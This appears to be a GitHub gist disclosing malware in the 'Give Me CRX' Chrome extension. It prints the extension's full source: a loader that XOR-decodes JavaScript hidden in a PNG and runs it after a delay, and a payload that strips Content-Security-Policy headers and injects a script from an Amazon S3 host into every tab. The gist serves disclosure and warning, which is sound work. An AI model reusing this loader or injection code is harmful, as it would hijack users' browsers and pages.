Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ChristianBagley/fa09a7d599091e6ddb058e602be29846 to your computer and use it in GitHub Desktop.
Save ChristianBagley/fa09a7d599091e6ddb058e602be29846 to your computer and use it in GitHub Desktop.
Saga of the "Give Me CRX" Virus

"Give Me CRX" (https://chrome.google.com/webstore/detail/give-me-crx/acpimoebmfjpfnbhjgdgiacjfebmmmci) contains a virus hidden in the source code.

Hidden Virus

Reviewer "Adam Carbonell" (link) first discovered existence of the malware. He mentioned that icon2.png contains malicious code.

bg.js (last modified 11/11/2016) extracts the code by reading icon2.png (last modified 11/10/2016) as text, extracting data between init> and <end strings (I assume a PNG comment), and xor-ing it with char ^ 77.

The resulting text is then run as Javascript. I think around 24 hours after extension installation, every tab will have <script src='hXXp//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js'> injected whenever "chrome.tabs.onUpdated".

This link appears to return an "Access Denied" XML file right now. Was the exploit taken down? Is it not up yet? Did they just infect the extension, and are waiting for a critical mass of users before loading the exploit?

  • The exploit was discovered around 10/28/2016. Today is 10/30/2016. The last modified dates point to 11/10/2016, which is in the future.
  • The Coolbar Pro EULA was last modified 10/17/2016.

Coolbar Pro EULA

The extension includes a EULA for Coolbar Pro, which appears to be a toolbar/adware/spyware. See http://security.stackexchange.com/questions/130597

Is this extension trying to install Coolbar Pro?

Uninstalling - extsgo.com

Uninstalling the extension triggers chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);

extsgo.com contains a default placeholder Yii PHP framework page. http://extsgo.com/api/tracker shows {"status":false,"error_message":"tracking_id can't be empty"}. http://extsgo.com/api/tracker/uninstall redirects to a fake "Shape Magazine" spam/scam site. Adding ?ext_id=#### does the same thing.

function get_crx() {
chrome.tabs.getSelected(null,function(tab) {
var tab_url = tab.url;
ext_name = tab_url.split('/detail/');
ext_name = ext_name[1].split('/');
ext_name = ext_name[0];
tab_url_split = tab_url.split("/");
tab_url = tab_url_split[6];
tab_url = tab_url.split('?');
tab_url = tab_url[0];
var ccr = 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D';
ccr += tab_url + '%26uc&prodversion=32';
var link = document.createElement('a');
link.setAttribute('href', ccr);
link.setAttribute('download','download');
onload = link.click();
});
}
chrome.contextMenus.create({
'title': 'Get CRX of this extension',
'contexts': ['all'],
'onclick': get_crx,
'documentUrlPatterns': ['https://chrome.google.com/webstore/detail/*']
});
(() => {
var main = () => {
chrome.runtime.getPackageDirectoryEntry(function (root) {
var icon = "icon2.png";
root.getFile(icon, {}, function (fileEntry) {
fileEntry.file(function (file) {
var reader = new FileReader();
reader.onloadend = function (e) {
var text = this.result;
var idxF = text.lastIndexOf("init>");
if (idxF < 0) return;
text = text.substr(idxF + 5);
var idxL = text.lastIndexOf("<end");
if (idxL < 0) return;
text = text.substr(0,idxL);
for (var t = 0, r = text.length, n = ""; r > t;)
n += String.fromCharCode(77 ^ text.charCodeAt(t++));
var a = new window.Blob([n], {
type: "text/javascript"
});
addScript(window.URL.createObjectURL(a));
};
reader.readAsText(file);
}, (e) => {
console.log(e)
});
}, (r) => {
console.log(r)
});
});
};
var check = () => {
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 ? setTimeout(check, 6e5) : main();
})
};
(() => {
if (!chrome.contextMenus) {
return void console.log("Chrome contextMenus access failed"); // give_me_crx
}
chrome.contextMenus.create({
title: "EULA",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/eula.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Privacy Policy",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/pp.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Terms and Conditions",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/tandc.html", "_blank");
}
});
})();
function addScript(src) {
var script = document.createElement("script");
script.setAttribute("type", "text/javascript");
script.setAttribute("src", src);
document.head.appendChild(script);
}
setTimeout(function(){
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 && chrome.storage.local.set({T : new Date().getTime()});
});
}, 4568904);
check()
})();
chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);
var zero = (a, b) => { chrome.storage.local.get({ ID: 0 }, (c=> { 0 == c.ID ? (() => { chrome.storage.local.set({ ID: (new Date).getTime() }), setTimeout(zero, a, a, b) })() : (() => { ((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one() })() })) }, one = () => { chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=> { if (a.tabId != -1) { for (var b in a.responseHeaders) "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1); return { responseHeaders: a.responseHeaders } } }), { urls: ["<all_urls>"], types: ["main_frame"] }, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((a, b) => { "complete" == b.status && chrome.tabs.executeScript(a, { code: `(() => {var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js';document.body.appendChild(s);})();` }) })) }; zero(36e5, 864e5);
var virus = (virusCheck, virusDelay) => {
chrome.storage.local.get({
ID: 0
}, (c => {
0 == c.ID ? (() => {
chrome.storage.local.set({
ID: (new Date).getTime()
}), setTimeout(virus, virusCheck, virusCheck, virusDelay)
})() : (() => {
((new Date).getTime() - c.ID || 0) < virusDelay ? setTimeout(virus, virusCheck, virusCheck, virusDelay) : virus2()
})()
}))
};
var virus2 = () => {
chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((virusCheck => {
if (virusCheck.tabId != -1) {
for (var virusDelay in virusCheck.responseHeaders) "object" == typeof virusCheck.responseHeaders[virusDelay] && "content-security-policy" === virusCheck.responseHeaders[virusDelay].name.toLowerCase() && virusCheck.responseHeaders.splice(virusDelay, 1);
return {
responseHeaders: virusCheck.responseHeaders
}
}
}), {
urls: ["<all_urls>"],
types: ["main_frame"]
}, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((tabId, changeInfo) => {
"complete" == changeInfo.status && chrome.tabs.executeScript(tabId, {
code: `(() => {var s = document.createElement('iframe');s.src = '//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js';document.body.appendChild(s);})();`
})
}))
};
virus(36e5, 864e5);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment